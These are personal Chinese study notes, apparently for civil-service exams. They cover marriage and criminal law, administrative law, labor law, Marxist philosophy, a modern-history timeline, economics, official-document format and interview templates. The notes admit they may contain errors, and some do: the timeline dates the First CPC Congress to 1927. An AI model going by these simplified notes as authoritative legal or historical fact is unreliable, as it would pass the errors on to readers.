  • 生产、经营收益
  • 知识产权收益
  • 继承或赠与所得的财产
  • 其他

夫妻一方财产

  • 一方的婚前财产
  • 一方因受到人身损害获得的赔偿或补偿
  • 遗嘱或赠与合同中确定只归一方的财产
  • 一方专用的生活用品
  • 其他

彩礼追回

一般不能追回，以下情况除外：

  • 有夫妻之名无夫妻之实
  • 欺诈
  • 一方赠与后生活陷入极度困难

嫁妆

古代属于婚前财产，不分。

现代：

  • 若先领证后宴请，属于共同财产，分
  • 若先宴请后领证，属于婚前财产，不分

建议女方嫁妆以银行卡形式赠出，开户人姓名记女方父母，法定财产分割时可划定为婚前财产。

房产

  • 双方名字：夫妻共同财产
  • 一方名字
    • 婚前：个人财产
    • 婚后：共同财产，但是另一方可以追偿
  • 一方父母名字：该方个人财产

民事责任

分类

  • 违约责任
    • 违反约定义务
    • 约定义务由协议或合同规定
  • 侵权责任
    • 违反法定责任

违约责任

  • 继续履行
  • 损害赔偿
  • 违约金
    • 与定金二选一
    • 需要返还定金
    • 再赔偿约定的违约金份额
  • 定金
    • 与违约金二选一
    • 惩罚性质
    • 支付方违约，定金没收
    • 收款方违约，双倍返还
    • 与“订金”完全不同

侵权责任

  • 过错责任
  • 无过错责任
    • 只有九种
    • 主人责任
      • 监护人责任
      • 职务侵权责任
      • 饲养动物致人损害责任
    • 环境侵权责任
    • 产品责任

诉讼时效

  • 一般诉讼时效：三年（主观知道之日）
  • 最长诉讼时效：二十年

刑法

概述

基本原则

  • 罪刑法定原则
  • 刑法面前人人平等原则
  • 罪责刑相适应原则

适用范围

空间效力

  • 属地管辖原则（最优先）
    • 包括驻外使馆
    • 包括悬挂中国国旗的航空器和船舶
  • 属人管辖原则
    • 犯罪者为中国人
  • 保护管辖原则
    • 受害者为中国人
  • 普遍管辖原则

时间效力

  • 从旧兼从轻原则

犯罪论

犯罪构成

  • 犯罪客体：犯罪行为所侵害的，而为我国刑法所保护的社会主义社会关系
  • 犯罪客观方面：刑法所规定的，说明侵犯某种客体的行为及其危害结果的诸客观事实特征
    • 危害行为
      • 作为
      • 不作为
    • 危害结果
    • 刑法上的因果关系
    • 犯罪时间、地点和方法
  • 犯罪主体
    • 刑事责任年龄（ 有争议 ）
      • 绝对无刑事责任年龄时期 [0,14)
      • 相对负刑事责任年龄时期 [14, 16)
        • 烧、杀、淫、掠
        • 伤、贩、爆、投
      • 完全负刑事责任年龄时期 [16, XX]
  • 犯罪主观方面
    • 故意
      • 直接故意，明知并且希望
      • 间接故意，明知并且放任
    • 过失
      • 疏忽大意的过失，应当预见而没有预见
      • 过于自信的过失，已经预见到，但轻信能够避免

犯罪停止形态

  • 犯罪既遂
  • 犯罪预备
  • 犯罪未遂
    • 欲达目的而不能
  • 犯罪中止
    • 能达目的而不欲
    • 主动停止+有效避免

正当防卫和紧急避险

  • 正当防卫：为了保护国家利益、公共利益、他人或本人的合法权利免受正在进行的不法侵害采取的对不法侵害者造成一定损害的自卫行为
    • 第三人也可以实施
  • 紧急避险：在法律所保护的权益遭到危险而不可能采取用其他措施加以避免时，不得已而采用的损害另一个较小的权益而保护较大的权益免遭损害的行为

刑罚论

概念和种类

  • 概念：刑法规定的由国家审判机关依法对犯罪的人使用的限制或剥夺其一定权益的强制性法律制裁方法
  • 种类（5+4）
    • 主刑
      • 管制（社区矫正机构，归属司法局）
      • 拘役
      • 有期徒刑
      • 无期徒刑
      • 死刑
        • 缓期执行
        • 立即执行
        • 三类人不适用死刑：老（>75），弱（<18），孕
    • 附加刑
      • 罚金
      • 剥夺政治权利
      • 没收财产
      • 驱逐出境
  • 补充：古代也是五种主刑：墨劓剕宫大辟、笞杖徒流死

其他

  • 累犯
    • 一般累犯
      • 前后两罪相隔五年
      • 故意犯罪
      • 有期徒刑以上
    • 特别累犯
  • 悔罪
    • 坦白
    • 自首（一般自首和特别自首）
      • 主动投案
      • 如实交代
      • 一般自首：交代犯罪事实
      • 特别自首：交代自己的其他犯罪事实
    • 立功
      • 揭发与自己无关的犯罪

重点罪名

  • 抢劫罪（暴力手段要挟）【重点】

  • 抢夺罪（携带凶器抢夺，视为抢劫罪）

  • 盗窃罪（秘密窃取；被发现后奋起反击视为抢劫罪）

  • 诈骗罪（虚构事实）

  • 敲诈勒索罪（以他人短处相要挟）

  • 招摇撞骗罪（冒充公职人员）

  • 公职人员财产类罪名

    • 贪污罪
      • 公职人员将公款据为己有，不打算归还（依据审计账目进行裁判）
    • 职务侵占罪
      • 非公职人员将公款据为己有
    • 挪用公款罪
      • 公职人员将公款挪作他用，打算归还（依据审计账目进行裁判）
    • 挪用资金罪
      • 非公职人员将公款挪作他用
    • 受贿罪
      • 收钱
      • 办事
      • 索贿不论有没有办事，都视为受贿罪
    • 行贿罪
    • 巨额财产来源不明罪

  • 渎职类罪名

    • 滥用职权罪
      • 故意
    • 玩忽职守罪
      • 过失

  • 危险驾驶罪

    • 追逐竞驶，情节恶劣
    • 醉酒驾驶
    • 校车或旅客运输，严重超员或严重超速
    • 违反规定运输危险化学品，危及公共安全

行政法

概述

  • 官管民
  • 民告官

行政法调整对象：

  • 行政管理关系
    • 官管民
  • 行政法制监督关系
    • 上管下
  • 行政救济关系
    • 民告官
  • 内部行政关系
    • 官管公务员

行政法律关系主体：

  • 行政主体
  • 行政相对人

行政机关一定是行政主体，行政主体不一定是行政机关（可能是事业单位）。

行政行为

概念和特征

行政主体行使行政职权，做出的能够产生行政法律效果的行为。

抽象行政行为

  • 对象的不特定性
  • 反复适用性
  • 不可诉性
  • 准立法性

具体行政行为

特征

  • 行政性
  • 法规性
  • 表意性
  • 个别性
    • 相对于抽象性
  • 外部性
    • 相对于内部性
  • 单方性

分类

  • 行政许可
  • 行政处罚
  • 行政强制
  • 行政征收
    • 剥夺所有权
  • 行政征用
    • 剥夺使用权
  • 行政赔偿
    • 行政机关有过错
  • 行政补偿
    • 行政机关无过错

行政许可

一般许可

特许

有限自然资源的开发利用、公共资源的配置或特定行业的市场准入。

认可

特定职业行业资格、资质的确定。

核准

特定设备、设施、产品、物品的 检验、检测、检疫 。

登记

企业或其他组织的设立。

行政处罚

形式

  • 人身自由罚
  • 行为罚
  • 财产罚
  • 声誉罚

种类（6 种）

  • 警告
  • 罚款
  • 责令停产停业
  • 暂扣或者吊销许可证、执照
  • 没收违法所得、非法财物
  • 行政拘留

流程

一般程序
  • 适用条件：不适用简易程序或听证程序
  • 重要制度
    • 检查：至少 2 人执法
    • 做出决定：由行政机关负责人（集体）做出决定
  • 重要时限：当事人不在场的应在 7 日内送达处罚决定
简易程序
  • 适用条件：公民 200 元以下、单位 3000 以下罚款或警告
  • 重要制度
    • 可以一人执法
    • 可以当场决定
  • 重要时限：处罚决定书须当场交付
听证程序（一般程序的特殊环节）
  • 适用条件：责令停产停业、吊销许可证或执照、大额罚款
  • 重要制度
    • 公务回避：应由非本案调查人员主持听证；当事人有权申请听证主持人回避
    • 笔录效力：行政笔录不具有排他效力
  • 重要时限
    • 申请期限：应在被告知 3 日内要求听证
    • 告知期限：行政机关应在听证 7 日前通知听证时间与地点

原则

  • 一事不再罚原则
    • 此处的罚指罚款
  • 罚缴分离原则
  • 行政法处罚时效：两年

行政强制

行政强制措施

暂时性措施，重在预防。

  • 限制公民人身自由
  • 查封场所、设施或者财物
  • 扣押财物
  • 冻结存款、汇款
  • 其他行政强制措施

行政强制执行

永久性措施，重在执行。

  • 加处罚款或者滞纳金
  • 划拨存款、汇款
  • 拍卖或者依法处理查封、扣押的场所、设施或者财物
  • 排除妨碍、恢复原状
  • 代履行
  • 其他强制执行方式

行政救济

行政复议

  • 行政复议总是以一定的行政争议或纠纷为其处理内容
  • 行政复议是以行政相对人提起复议申请而引起的
  • 行政复议的管辖主体只能是一定的行政机关
  • 行政复议也是一种行政自我监督（或称行政自律）制度
  • 行政复议是对形成争议的 具体行政行为 的 合法性与合理性 进行全面审查
被申请人复议机关说明
县级以上政府部门同级政府或上一级主管部门国安机关虽是政府组成部门，但此处除外
省级以下政府上一级人民政府如上级无地级市政府，则地区行署也可复议
垂直领导机关上一级主管部门海关、金融、外汇管理、国安
省部级单位原机关自己，审理结构有变化对复议决定不服可起诉或申请国务院裁决
政府派出机关设立该派出机关的政府包括行政公署、区公所、街道办事处三类
部门派出机关该机构所在的主管部门或该主管部门的同级政府如是垂直领导部门的派出机构作为被申请人，则复议机关仅包括其所在主管部门

行政诉讼

  • 行政诉讼 不管具体行政行为的合理性
  • 级别管辖
    • 基层法院：原则上由基层法院管辖一审行政诉讼
    • 中级法院
      • 被告高级：县级以上 政府 （不动产登记除外）
      • 被告特殊：中央专利部门、中央商标部门、各级 海关 、证交所（含第三人）
      • 人数众多：重大共同诉讼、重大集团诉讼
      • 涉外因素：重大涉港澳台外案件（含国际贸易案件、部分反倾销案件、部分反补贴案件）
    • 高级法院
      • 管辖区内重大复杂的案件
      • 部分反倾销案件
      • 部分反补贴案件
    • 最高法院
      • 全国范围内重大复杂案件
  • 地域管辖
    • 被告所在地管辖：一般案件
    • 复议机关与原机关所在地管辖：经过复议的案件
    • 原被告所在地管辖：限制人身自由案件
    • 不动产所在地专属管辖：不动产纠纷案件

时效

  • 行政复议 60 日
  • 行政诉讼
    • 直接起诉 6 个月
    • 经复议后 15 日内

经济法

劳动法

注意：不适用于公务员和事业单位从业人员。

工作时间

每日不超过 8 小时，平均每周不超过 44 小时。

休息

  • 每周至少休息一日
  • 法定假日
    • 元旦
    • 春节
    • 清明节
    • 国际劳动节
    • 端午节
    • 中秋节
    • 国庆节
  • 年休假
    • 1 年不满 10 年：5 天
    • 10 年不满 20 年：10 天
    • 20 年以上：15 天

协商

对劳动争议引起的纠纷，当事人可以协商解决。

调解

协商不成或者不愿协商的，可向本单位劳动争议调解委员会申请调解。

仲裁

调解不成，当事人一方要求仲裁的，可以向劳动争议仲裁委员会申请仲裁，也可以不经调解直接仲裁。

诉讼

对仲裁裁决不服的，可以向法院起诉。

劳动合同必备条款

  • 用人单位名称、住所和法定代表人或者主要负责人
  • 劳动者的姓名、住址和居民身份证或者其他有效身份证号码
  • 劳动合同期限
  • 工作内容和工作地点
  • 工作时间和休息休假
  • 劳动报酬
  • 社会保险
  • 劳动保护、劳动条件和职业危害防护
  • 法律、法规规定应当纳入劳动合同的其他事项

劳动合同一般约定条款

  • 试用期
  • 服务期
  • 保守商业秘密和 竞业限制条款
  • 劳动合同的生效
  • 禁止条款

用人单位不得解除的情形

  • 职业病危害作业
  • 患职业病或因公负伤
  • 女性三期（孕、产、哺乳）
  • 连续工作 15 年，距退休不足 5 年的

工伤认定

  • 工作时间和工作场所内，因工作原因受到事故伤害的
  • 工作时间前后在工作场所内，从事与工作有关的预备或者收尾性工作受到伤害的
  • 工作时间和工作场所内，因履行工作职责受到暴力等意外伤害的
  • 患职业病的
  • 因工外出，工作原因受到伤害或者发生事故下落不明
  • 受到 非本人主要责任 的交通事故伤害的
  • 工作时间和工作岗位，突发疾病，48 小时之内死亡

消费者权益保护法

消费者权力

  • 安全保障权

    • 霸王条款一般无效。

  • 知悉真情权

    • 进口

  • 自主选择权

    • 捆绑销售

  • 公平交易权

    • 强买强卖

  • 获取赔偿权

  • 结社权

  • 获得相关知识权

  • 受尊重权

  • 监督批评权

连带责任

可以向销售者要求赔偿，也可以向生产者要求赔偿。但是只能二选一。

三包责任

欺诈

三倍赔偿。不足 500 的，按 500 算。

食品十罚

十倍赔偿。不足 1000 的，按 1000 算。

个人所得税法

免征额/起征点

从 3500 更改为 5000。

免征个人所得税

  • 省级以上奖金
  • 国债和国家发行的金融债券利息
  • 社保（福利费、抚恤金、救济金、军人转业费、复员费、退役金等）
  • 保险赔款

专项附加扣除项目

  • 子女教育
  • 继续教育
  • 大病医疗
  • 住房贷款利息或者住房租金
  • 赡养老人

马克思主义哲学

概述

哲学

  • 系统化、理论化的世界观和方法论

哲学基本问题：思维与存在

第一性

  • 唯物主义
    • 古代朴素
    • 近代形而上学
    • 现代科学
  • 唯心主义
    • 主观唯心
    • 客观唯心

同一性

  • 可知论
  • 不可知论

马克思主义哲学

自然科学基础

  • 细胞学说
  • 能量守恒及转化定律
  • 生物进化论

思想理论来源

  • 主要
    • 德国古典哲学
  • 直接
    • 黑格尔辩证法
    • 费尔巴哈唯物论

根本特征

  • 科学性、革命性、实践性的统一

辩证唯物论

物质

  • 唯一 特性 ：客观实在性

运动

  • 物质的存在方式和根本 属性
  • 绝对运动和相对静止的统一
  • 时空是物质运动的基本形式

物质和意识

  • 意识：自然界和人类社会长期发展的产物
  • 劳动物质决定意识
  • 意识对物质能动的反作用
  • 尊重客观规律和发挥主观能动性的统一

唯物主义辩证法

两大特征

普遍联系

  • 整体与部分

永恒发展

  • 发展的实质：新事物产生，旧事物灭亡

辩证法与形而上学

  • 根本分歧：是否承认事物的内部矛盾

三大规律

质量互变规律

  • 量变是质变的必要准备
  • 质变是量变的必要结果
  • 度是区分量变质变的唯一标志

否定之否定规律

  • 辩证否定是自我否定，实质是“扬弃”
  • 自我肯定——自我否定——否定之否定
  • 前进性及曲折性的统一

对立统一规律（矛盾规律）

  • 辩证法的实质及核心
  • 矛盾的同一性与斗争性
  • 矛盾的普遍性与特殊性（共性和个性）
    • 时时处处有矛盾
    • 具体问题具体分析
  • 不平衡性
    • 主要矛盾与次要矛盾
      • 行为解决做事抓主要矛盾
    • 主要方面与次要方面
      • 分析定性判断抓主要方面
    • 方法论：两点论和重点论

五对范畴

  • 现象与本质
  • 内容与形式
  • 必然性与偶然性
  • 可能性与现实性
  • 原因与结果

辩证唯物主义认识论

实践与认识

实践决定认识

  • 实践是认识来源
  • 实践是认识发展的动力
  • 实践是检验真理的唯一标准
  • 实践是认识的最终目的

认识反作用于实践

  • 正确认识促进实践
  • 错误认识阻碍实践

认识两次飞跃

  • 在实践基础上从感性认识上升到理性认识
  • 理性认识回归到实践

真理观

  • 实践是检验真理的唯一标准（《光明日报》）
  • 真理与谬论

唯物主义历史观

历史观基本问题

  • 社会存在与社会意识
  • 意识形态

社会基本矛盾

  • 生产力与生产关系
  • 经济基础与上层建筑

社会发展动力

  • 根本动力：社会基本矛盾
  • 直接动力：阶级斗争
  • 动力：改革
  • 主体动力：人民群众
  • 巨大动力：科学技术

中国近现代史

事件表

  • 1915：陈独秀上海创办《青年杂志》（后改名《新青年》）
    • 新文化运动
  • 1917：俄国十月革命胜利
  • 1919：“五四运动”
    • 工人阶级登上历史舞台，新民主主义开端
  • 1927.7.23： 中共一大 ，上海
    • 12 人参会
  • 1922： 中共二大 ，上海，制定反帝反封建纲领
  • 1923： 中共三大 ，广州，国共合作，革命统一战线
  • 1924：国民党一大，提出“新三民主义”
  • 1925.3.12：孙中山逝世
  • 1927
    • “四 · 一二”反革命政变，南京国民政府成立
    • “七 · 一五”反革命政变
    • 南昌起义
    • “八七会议” （反右，枪杆子出政权）
    • 秋收起义
  • 1931：九一八事变
  • 1934.10：长征
  • 1935： 遵义会议 ，一二九运动
    • 遵义会议反左，确立毛泽东的领导地位
    • 遵义会议是第一次独立自主运用马列主义解决中国问题的实践
  • 1935.12： 瓦窑堡会议 ，抗日民族统一战线
  • 1936.10：甘肃会宁会师
  • 1936.12.12：西安事变
  • 1937
    • 七七事变
    • 洛川会议，全面抗战路线
    • 12.13，南京大屠杀
      • 拉贝，《拉贝日记》
      • 魏特琳
  • 中共六届六中全会，马克思主义中国化
  • 1945.4： 中共七大 ，延安，毛泽东思想
  • 1945.8.15：日本投降，反法西斯胜利
  • 1948：辽沈、淮海、平津战役
  • 1949： 七届二中全会 ，西柏坡，毛教员“两个务必”
    • 务必保持戒骄戒躁，谦虚谨慎的作风
    • 务必保持艰苦奋斗的作风
  • 1949.4.23：南京解放
  • 1949.9：政协会议，《共同纲领》
  • 1950.10：抗美援朝
  • 1954：第一届全国人大，《宪法》
  • 1956：“三大改造”基本完成，过渡到社会主义
  • 1966：文化大革命开始
  • 1976：文化大革命结束
  • 1978.12： 十一届三中全会
    • 工作重心转移：阶级斗争 -> 社会主义建设
    • 改革开放
  • 十一届六中全会，《关于建国以来党的若干问题的决议》，科学评价毛教员

八个会议

  • 1982：十二大，提出“建设有中国特色社会主义”
  • 1987：十三大，社会主义初级阶段理论和党在社会主义初级阶段的基本路线
  • 1992：十四大，社会主义市场经济体制
  • 1997：十五大，邓小平理论确立为党的指导思想
  • 2002：十六大，“三个代表”思想
  • 2007：十七大，中国特色社会主义理论体系
  • 2012：十八大，科学发展观确立为党的指导思想
  • 2017：十九大，习近平新时代中国特色社会主义思想确立为党的行动指南

经济学

社会主义市场经济体制

经济体制

  • 经济制度：具有阶级概念。

  • 经济体制：社会经济制度或生产关系所采取的具体经济组织形式和经济管理制度。

    • 计划经济
    • 市场经济
      • 优点
        • 公平竞争
        • 促进技术进步和制度创新
        • 提高资源利用效率
      • 优点前提
        • 不存在垄断
        • 市场主体都掌握完全的信息，市场价格能够灵敏反映资源的供求状况
        • 市场主体都是理性人，能正确判断市场的供求关系和价格变化

社会主义市场经济

  • 所有制结构上，以公有制为主体，多种所有制经济共同发展。
  • 分配制度上，坚持按劳分配为主体，多种分配方式并存的制度。
  • 宏观调控上，国家能够把人民的当前利益与长远利益、局部利益与整体利益结合起来，更好地发挥 计划 与 市场 两种手段的长处。
  • 经济体制改革的核心内容是处理好 政府 和 市场 的关系。
    • 处理好“看得见的手”和“看不见的手”的关系
  • 充分发挥 市场 在资源配置中的 决定性 作用，更好发挥政府作用，推动 有效市场 和 有为政府 更好结合。

经济结构战略性调整

  1. 坚持发展是硬道理的本质要求就是坚持科学发展
    • 坚持走中国特色 新型工业化、信息化、城镇化、农业现代化 道路
  2. 推进经济结构战略性调整
    • 必须以 改善需求结构、优化产业结构、促进区域协调发展、推进城镇化为重点
  3. 改善需求结构
    • 扩大内需：扩大国内投资和国内消费来带动国民经济增长
    • 经济增长的”三驾马车“：即扩大国内 投资 、刺激国内 消费 和扩大外贸 出口
    • 影响消费的因素：商品价格、供给、消费者收入、消费者偏好等
  4. 供给侧结构性改革
    • 去产能
      • 煤炭
      • 钢铁
    • 去库存
      • 三四线城市房地产库存
    • 去杠杆
      • 降低企业负债
    • 降成本
      • 降低企业经营成本
    • 补短板
      • 高精尖短板
  5. 产业结构
    • 第一产业：农业（国民经济的基础）
    • 第二产业：工业和建筑业
    • 第三产业：服务业
  6. 产业结构调整
    • 推动战略性新兴产业、先进制造业健康发展
      • 节能环保
      • 新一代信息技术
      • 生物
      • 高端装备制造
      • 新能源
      • 新材料
      • 新能源汽车
    • 新发展格局
      • 构建以国内大循环为主体、国内国际双循环相互促进的新发展格局

区域经济

四个阶段

  1. 以经济特区为重心的沿海地区优先发展阶段
  2. 以浦东开发为龙头的沿江沿边地区重点发展阶段
  3. 以缩小区域差距为导向的西部大开发阶段
  4. 以区域协调发展为导向的共同发展阶段

促进区域协调发展

  • 继续推动西部大开发、东北全面振兴、中部地区崛起、东部率先发展
  • 深入推进京津冀协同发展、粤港湾大湾区建设、长三角一体化发展
  • 推进长江经济带共抓大保护。编制黄河流域生态保护和高质量发展规划纲要
  • 推进成渝地区双城经济圈建设。促进革命老区、民族地区、边疆地区、贫困地区加快发展。发展海洋经济

微观经济

市场机制

  • 市场机制：又称市场经济的运行机制，是指市场经济的基本规律。
  • 供求机制
  • 价格机制
    • 价格弹性
    • 核心
  • 竞争机制
    • 完全竞争
    • 完全垄断
    • 寡头垄断
    • 垄断竞争

收入和分配

分配制度

  • 按劳分配为主体，多种分配方式并存的分配精致
  • 按劳分配
  • 按生产要素分配
    • 劳动
    • 技术
    • 资本
    • 管理
    • 等

效率与公平

  • 初次分配和再分配都要兼顾效率和公平，再分配更加注重公平
  • 初次分配
    • 国家收入
    • 企业收入
    • 个人收入
  • 再分配
    • 税收
    • 社会保障
      • 社会保险
      • 社会福利
      • 社会优抚
      • 社会救济
    • 政府转移支付
  • 财产性收入

宏观经济

宏观调控

  • 总供给：产品和劳务
  • 总需求
    • 消费需求
    • 投资需求
    • 政府支出
    • 净出口

通货膨胀

  • 实质：社会总需求大于社会总供给
  • 原因：纸币发行量超过流通中实际需要的货币量
  • 危害
    • 直接引起物价上涨
    • 纸币贬值
    • 经济秩序混乱
    • 生活水平下降
    • 影响社会稳定
  • 对策：实行适度从紧的货币政策和量入为出的财政政策，控制货币供应量与信贷规模

通货紧缩

  • 实质：社会总需求小于社会总供给
  • 原因：纸币发行量少于流通中实际需要的货币量
  • 危害
    • 直接引起物价下跌
    • 影响企业与投资的积极性
    • 市场销售困难
    • 影响经济的长远发展
    • 失业率上升
  • 对策：采取积极的财政政策和稳健的货币政策，加大投资力度，扩大内需，并努力扩大出口

宏观调控

财政政策与货币政策

  • 财政收入
    • 税：印花税等
    • 费：过路费等
    • 债：国债等
    • 利：国企利润等
    • 其他收入：罚款等
  • 财政支出
    • 购买性支出
      • 购买公共服务
    • 转移性支出（包含社会保障，补贴）
      • 低保
      • 退休金
      • 医疗保险
  • 货币职能
    • 价值尺度：基本
    • 流通手段：基本
      • 即时性交易
    • 支付手段
      • 非即时性：房租、工资等
    • 贮藏手段
    • 世界货币

财政政策（政府）

  • 税率
  • 政府支出

货币政策（央行）

  • 再贴现率
    • 商业银行向中央银行贷款的手续费
  • 存款准备金率
    • 银行最少保证金，绝对不能动的部分
  • 公开市场业务
    • 央行购买债券证券
    • 或者央行抛售债权证券
  • 利率
  • 汇率
    • 人民币升值
      • 商品更贵
      • 出口减少
      • 进口增加
    • 人民币贬值
      • 商品更便宜
      • 出口增加
      • 进口减少

规律

所有“率”

  • 提高，货币变少，紧缩（消极）政策，抑制内需
  • 降低，货币变多，扩张（积极）政策，拉动内需

经济学名词

  • GDP：国内生产总值
  • GNP：国民生产总值
  • CPI：消费者物价指数
    • CPI > 3% 通货膨胀
    • CPI > 5% 严重通胀
  • 基尼系数
    • 0.4 贫富分化警戒线
  • 恩格尔系数

公文

概述

概念

公文，也称公务文件，是在社会活动中直接形成和使用的具有规范体式和法定效用、表达社会集团意志的信息记录。

分类

  • 通用公文（法定公文）和专用公文
    • 专用公文：法院判决书
  • 对外公开、限国内公开、内部使用、秘密、机密、绝密
  • 上行文、下行文、平行文
  • 法规性、指挥性、公布性、报请性、通联性、记录性
  • 平件、急件、特急件
  • 收文、发文

15 种通用公文种类

  • 决定
  • 通知
  • 通报
  • 报告
  • 请示
  • 批复
  • 意见
  • 函
  • 会议纪要
  • =========
  • 命令（令）
  • 公告
  • 通告
  • 议案
  • =========
  • 决议
  • 公报

区别

命令（令）

  • 公布行政法规和规章
  • 宣布实施重大强制性措施
  • 批准授予和晋升衔级
  • 嘉奖有关单位和人员

公告

  • 面向国内外

  • 没有抬头（主送机关）

  • 一般通过网络形式发布

通告

  • 一定范围内
  • 没有抬头
  • 一般通过张贴发布

议案

  • 政府使用
  • 面向人大或人大常委会
  • 提请审议事项

====

决议

  • 会议讨论通过的重大决策事项

公报

  • 公布重要决定或重大事项

====

决定

  • 对重要事项做出决策和部署
  • 奖惩有关单位和人员
  • 变更或撤销下级机关不适当的决定事项

通知

  • 下行文
  • 有抬头（抬头为下级机关）

通报

  • 表彰先进、批评错误、传达重要精神和告知重要情况

报告

  • 上行文
  • 上级机关可以不用回复
  • 汇报工作、反映情况
  • 回复上级机关的询问

请示

  • 上行文
  • 上级机关需要回复
  • 请求指示、批准

批复

  • 答复下级机关请示事项

意见

  • 上行文、下行文、平行文均可
  • 对重要问题提出见解和处理办法

函

  • 不相隶属之间
  • 商洽工作
  • 询问和答复问题
  • 请求批准和答复审批事项

纪要

  • 记载会议主要情况和议定事项

格式

版头

  • 公文首页红色分割线以上的部分
  • 包括
    • 份号
    • 密级和保密期限
    • 紧急程度
    • 发文机关标志
    • 发文字号
      • 机关代字
      • 全角六角括号
        • 中间年份
        • 阿拉伯数字
      • 文件代号
    • 签发人
      • 上行文才有签发人
  • 版头中的分隔线

主体

  • 标题
    • 机关+“关于”+事由+文种
    • XXXX关于XXXX的通知
    • 不允许标点符号，以下两种除外
      • 书名号：法律法规、书籍报刊
      • 双引号：特殊指代
    • 联合发文：两个机构中间空一格全角空格
  • 主送机关
  • 正文
    • 级别顺序：一、（一）、1、（1）、
  • 附件说明
    • 不加书名号等任何标点符号
    • 只有一个附件则不用标号
    • 需要标号时，左对齐
  • 发文机关署名
  • 印章
    • 下压日期，上不压正文
  • 成文日期等
    • 加盖公章
      • 右隔四个字
    • 不加盖公章
      • 日期机关较长者右隔两个字
      • 若机关较长，日期与机关左端空两字
  • 附注

版记

  • 抄送机关
    • 抄送给上级时，不允许同时抄送下级机关
  • 印发机关
  • 印发日期
  • 页码

处理

制文

  • 起草
  • 审核
  • 签发
    • 意见
    • 签名
    • 日期
    • 成文日期一般以领导签发日为准，以下情况除外：
      • 需要开会讨论的，以会议通过日期为准
      • 多个机关联合发文的，以最后一个机关签发日为准

制法

  • 复核
  • 登记
  • 印制
  • 核发

收文

  • 签收
  • 登记
  • 初审
  • 传阅
  • 催办
  • 答复

办毕公文的处理

  • 清退
  • 暂存
  • 销毁
  • 立卷存档
    • 永久
    • 长期（16-50 年左右）
    • 短期（15 年以下）

注意

  • 一般不得越级行文 ，特殊情况需要越级行文的，应当同时抄送被超过的机关
    • 重大突发事件
    • 上级机关乱作为
  • 请示应当一文一事，不得在报告等非请示性公文中夹带请示事项
  • 不得以机关负责人名义向上级机关报送公文
  • 受双重领导的机关向一个上级机关行文，必要时抄送另一个上级机关
  • 部门内设机构除办公厅（室）外不得对外正式行文
  • 同级党政机关、党政机关与其他同级机关必要时可以联合行文
  • 属于党委、政府各自职权范围内的工作，不得联合行文
  • 党委、政府的部门依据职权可以相互行文

面试

人际交往的意识与技巧

  • 领导
    • 领导批评我接受
    • 我有委屈我解释
    • 我有责任我道歉
  • 同事
    • 出现问题
      • 心态要阳光
      • 主动接触，主动沟通
      • 解除误会
    • 有事要伸手
    • 沟通要方法
    • 老同事相处要谦逊
  • 群众
    • 群众利益放第一位（不影响工作程序和流程）
    • 态度热情安抚好
    • 解决问题要耐心
  • 亲戚
    • 亲戚有事我不动，工作之外来帮忙
    • 绝不动摇信念，动之以情，晓之以理

应急应变

  1. 找出问题
  2. 分清轻重缓急
  3. 解决问题
    • 紧急情况要安抚疏导
    • 核心问题分情况讨论
      • 可能性 1
      • 可能性 2
      • 可能性 3
  4. 总结预防，受到启发，完善

计划组织协调

  1. 价值判断
    • 阐述意义
    • 引经据典
  2. 事前准备
    • 请教领导、同事、兄弟单位经验
    • 调研摸底
    • 策划书、提上议程、成立工作小组
    • 安排妥当
      • 时间
      • 地点
      • 人物
      • 主题
      • 后勤
      • 伙食
      • 住宿
      • 人员
      • 媒体
      • 后勤
      • 等
  3. 事中实施
    • 民主
    • 秩序
    • 后勤到位
  4. 扫尾阶段
    • 会议纪要
    • 总结汇报
    • 发表网站
    • 总结升华

综合分析类

内容阐述类

  1. 是什么：含义，出处背景
  2. 为什么：原因，必要性
  3. 怎么看：危害
  4. 怎么办：实际工作启示

现象分析类

  1. 给现象定性
  2. 背景根源
  3. 危害
  4. 怎么避免

正面现象

  1. 给现象定性
  2. 意义
  3. 反过来的危害
  4. 今后怎么做

矛盾观点分析类

  1. 观点 A 的解释
  2. 观点 B 的解释
  3. A 和 B 对工作的启示
  4. 简短有力的结尾

零碎知识整理

一些无法单独分类的知识，林林总总，杂七杂八。

可能会有错误。

半导体集成电路

注意

  • 此为 OneNote 笔记
  • 导出为整张图
  • 无法修改
  • 转换为 Markdown 成本太高

笔记

俄语译码表

С -> S

П -> P

P -> R

Я -> ia

Х -> H

H -> N

И -> i

Б -> B

B -> V

Ф -> F

Э -> E

У -> U

Г -> G

Д -> D

Л -> L

Ж -> zh

Ч -> ch

Ц -> Ts

摘自 王建硕

中文书面语

  • 拜启 <-> 敬具
  • 谨启 <-> 敬白
  • 案下
  • 御揭
  • 顿首
  • 前略 <-> 不一
  • 吾唯知足
  • 敬悉尊函 / 欣悉惠书
  • 匆匆 / 草草
  • 亲展
  • 顺颂商祺

毕业设计

开题报告

  • 字数要求：七千起？
  • 格式
    • 绪论
      • 需求分析
      • 技术分析
      • 具体实现
      • 系统测试
      • 参考文献
    • 开题篇数建议：15 篇起
    • 毕业论文篇数建议：40 篇起
    • 英文中文论文比例三七开
    • 参考文献最好十年内，最次十五年之内
    • 总结与展望
  • 时间
    • 明年开学开题答辩
    • 基本内容要写完
    • 选题
    • 论文篇数

规划方向

  • 工作
    • 工作类别
      • 技术
      • 非技术
    • 需要的知识技能
      • 尤其是考公
    • 工作地点和薪资水平
    • 学习计划
      • 实习单位，面试准备，实习时间
    • 找工作的时间
      • 几周之后做一次汇报
      • 汇报形式自行拟定
      • 汇报时间任意
  • 升学
    • 考研的原因
    • 核实差距
    • 坚持的决心

选题方向

  • 硬件类 - 多是物联网
  • 开发类
  • 算法类

选题原则

  • 与规划相结合
  • 选题要新
  • 难度适宜
  • 部分科研兴趣计划项目，可以作为毕业设计题目
  • 确定题目后，搜集相关资料

参考题目

  • 基于机器视觉的 XXXXXX
  • 基于深度学习的 XXXXXX
  • 基于 XX 算法的 XXXXXX
  • 基于 XX 技术的 XXXXXX

分享想法

开篇

好的工程只有两种：一个是有很多钱拿的，另一个是没有钱拿的。

引言

轻松愉快的氛围

不耽误时间

以前听技术分享会听睡着过

自认为算是后端摸鱼工程师吧

19 级前端没人了

陈昱同志

语气很冷，给我搞懵了

大热天的浑身冰凉

选导师也是，直接给我说一句，我前端的

全世界都觉得我是些前端的

前后端运维

都会涉及

前端

浏览器的工作原理

不会

SCSS SASS

不会

前端规范

阮一峰

技术文档写作规范

开源

动不动看源码很奇怪

Windows

黑盒

Vue React 打架

源码

Design Pattern 集大成者

后端

一次性拉下来所有的数据还是分批次拉，一次显示一点点？

